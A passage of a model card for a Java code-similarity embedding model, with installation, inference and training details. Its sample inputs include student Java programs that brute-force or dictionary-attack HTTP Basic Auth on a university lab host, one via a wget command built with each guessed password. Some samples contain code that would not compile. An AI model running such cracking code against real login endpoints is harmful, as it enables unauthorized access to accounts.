hello1\");\n }\n\n }\n Date end\ + \ = new Date();\n System.out.println(d.toString());\n \ + \ System.out.println(end.toString());\n System.out.println(\"\ + Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \ + \ catch(IOException e)\n {\n System.out.println(\"\ + hello,didnt find file.\");\n }\n }\n public static String connect(String\ + \ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\ + \ String str = new String(data);\n return str\ + \ + str1;\n }\n\n}\n" + - "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\ + \ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\ + \ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\ + \ {\n strFilepath = filepath;\n try {\n fWordFile = new\ + \ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\ + \ }\n catch(Exception e)\n {\n System.out.println(\"\ + Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\ + \ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\ + \ try {\n strCurrWord = in.readLine();\n \n \ + \ \n \n }\n catch (Exception e)\n {\n \ + \ \n return null;\n }\n \n return\ + \ strCurrWord;\n }\n \n}\n" +- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\ + import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\ + {\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\ + \t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\ + \tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\ + \ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\ + \ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\ + );\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\ + );\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\ + \n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\ + \n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\ + \t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\ + \t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\ + \t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\ + \ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\ + \tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \ + \ catch (NullPointerException ex)\n {\n System.out.println(word);\n\ + \ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\ + \t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\ + \ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\ + \ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\ + \t}\n}" + sentences: + - "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\ + import java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n \ + \ String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n\ + \ private TextArea response;\n int status;\n int mailFlag;\n\n public\ + \ WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url\ + \ = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n\ + \ FileOutputStream fout;\n flag = newFlag;\n status = 0;\n \ + \ mailFlag = 0;\n\n \n File file = new File(fileName);\n \ + \ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ + \ printW = new PrintWriter(fout);\n }\n catch (IOException\ + \ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ + \ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ + \ u = new URL(url);\n try\n {\n \n \ + \ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ + \ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ + \n String line;\n\n \n while ((line = in.readLine())\ + \ != null)\n {\n \n printW.println(line);\n\ + \n }\n }\n catch (Exception e)\n {\n \ + \ System.out.println(\"Error: \" + e);\n }\n }\n \ + \ catch (MalformedURLException e)\n {\n System.out.println(url\ + \ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ + \n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ + );\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ + \ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ + \ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ + \ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ + \ mailFlag++;\n \n }\n return buffer.toString();\n\ + \ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ + \ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ + \ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ + \ file.delete();\n String ;\n\n try\n {\n fout2\ + \ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ + \ }\n catch (IOException ioe)\n {\n System.out.println(\"\ + IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ + \ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ + \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ + \ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ + \n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ + \ BufferedReader buf2;\n\n try\n {\n \ + \ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ + \ BufferedReader(fRead2);\n String line2;\n int\ + \ i=0;\n\n line = new String(\" some changes the web as followed:\ + \ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ + , 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ + \ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ + \ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ + \ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ + \ \n\n while( (line2 = buf2.readLine()) != null)\n \ + \ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ + \ \n \n\n }\n \ + \ \n \n \n out2.print();\n \ + \ send(\".\");\n s.print();\n }\n \ + \ catch(FileNotFoundException e)\n {\n System.out.println(\"\ + File not found\");\n }\n catch(IOException ioe)\n \ + \ {\n System.out.println(\"IO Error \" + ioe);\n \ + \ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ + \ \n System.err.print(loadStream(ps.getErrorStream()));\n \ + \ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ + \ }\n }\n\n public void send(String s) throws IOException\n {\n\ + \ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ + \ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ + \t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" + - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\ + \nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\ + \n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\ + \n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\ + \ String line =\"\";\n \n if (args.length == 0) {\n \t\n \ + \ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce \"\ + );\n return;\n \t\n }\n \n String username = args[0];\n\ + \ \n \n t0=System.currentTimeMillis();\n \n System.out.println\ + \ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\ + \ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\ + \ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\ + ));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\ + \ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\ + \n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\ + The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \ + \ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\ + \ \" seconds\");\n \n System.out.println (\"Finish\ + \ \" + new Date());\n \n \treturn;\n\n \ + \ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\ + System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\ + \ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\ + \ public Dictionary (String password,String username) {\n\n \t String urlString\ + \ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \ + \ String userPassword = username+\":\"+password ;\n\n String encoding\ + \ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\ + \ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\ + \ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\ + \ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \ + \ catch(MalformedURLException e){\n \t System.out.println(e);\n \ + \ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \ + \ }\n}" + - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ + import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ + \ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\ + \ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ + \ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ + ;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ + \ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ + \ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ + \ Date date = new Date();\n startTime=date.getTime();\n \n \ + \ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ + \ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ + \ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ + \ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ + \ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ + \ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ + \ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ + \ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ + \ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ + \ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ + if (checkCurrentPage.length()count && checkCurrentPage.length()>count){\n\ + \t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ + \ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ + \ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ + \ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ + \ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ + \t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ + iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ + \";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ + \ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ + \t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ + \t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ + \ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ + \t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ + \ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ + \ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ + \ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ + \t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ + \t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ + \ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ + \t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ + \ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ + \t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ + \ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ + \n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ + \ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ + \ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ + \ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ + \ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ + \ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ + \ \n waiting=false;\n }\t\n }\n } \n \n \n public\ + \ static String readData() {\n String data;\n String lastPage=\"\";\n \ + \ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ + ));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ + \ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ + \ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ + IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ + \ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ + \ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ + \ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ + \ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ + \t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ + \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ + );\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ + \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ + );\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ + \ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ + \ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\ + \ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ + \n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ + \ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ + \ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ + \ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ + \ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ + r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ + \ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ + \ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ + \\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ + : <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ + );\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ + r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ + \t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ + Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ + \ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ + \t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ + \ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ + Host unknown\"); \n }\n } \n \n} \n\n\n" +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on microsoft/graphcodebert-base + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base) +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity + + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST") +# Run inference +sentences = [ + 'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n else\n System.out.println("NOT FOUND!");\n\t}\n}', + '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println("Error: " + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + " is not a parseable URL");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff("@.rmit.edu.");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = "diff test1.txt test2.txt";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File("diff.txt");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream("diff.txt",true);\n printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+"\\n");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader("diff.txt");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(" some changes the web as followed: \\n");\n \n Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send("HELO cs.rmit.edu.");\n send("MAIL FROM: @.rmit.edu.");\n \n send("RCPT : @.rmit.edu.");\n send("DATA");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(""+line2+"\\n");\n \n \n\n }\n \n \n \n out2.print();\n send(".");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("File not found");\n }\n catch(IOException ioe)\n {\n System.out.println("IO Error " + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + "\\n");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}', + 'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password="";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n String line ="";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t"Usage : java BruteForce ");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (" " + new Date());\n System.out.println ("Using Dictionary method attack "+username+"\'s password. Please waiting.......");\n\n try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n \n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(" not find the password");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities.shape) +# [3, 3] +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### Unnamed Dataset + +* Size: 33,411 training samples +* Columns: sentence_0, sentence_1, and label +* Approximate statistics based on the first 1000 samples: + | | sentence_0 | sentence_1 | label | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| + | type | string | string | int | + | details |
  • min: 61 tokens
  • mean: 478.83 tokens
  • max: 512 tokens
|
  • min: 61 tokens
  • mean: 490.04 tokens
  • max: 512 tokens
|
  • 0: ~99.80%
  • 1: ~0.20%
| +* Samples: + | sentence_0 | sentence_1 | label | + |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| + |

import java.net.*;
import java.io.*;

public class sendMail {

public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));

send(in, out, "HELO client");

send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin ");
send (out, "\n");

send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");

}
catch (Exception e) {
e.printStackTrace();
}
}

public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
Sys...
|


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

static Process p = null;
static Process qproc = null;

static BufferedReader bf = null;
static StringTokenizer tok = null;

static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;

static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;


public static void main(String[] args)
{

urlStr = "http://www.cs.rmit.edu./";

try
{

mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

getLatest(urlStr);
parseFile();

mailwriter.read();

if(changed)
{
System.out.println("Sending Mail");
...
| 0 | + |
import java.io.*;
import java.net.*;

public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;


public static void main(String args[])
{
BruteForce bf = new BruteForce();
}


public BruteForce()
{
generatePassword();
}




public void generatePassword()
{
int index1 = 0, index2, index3;

char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
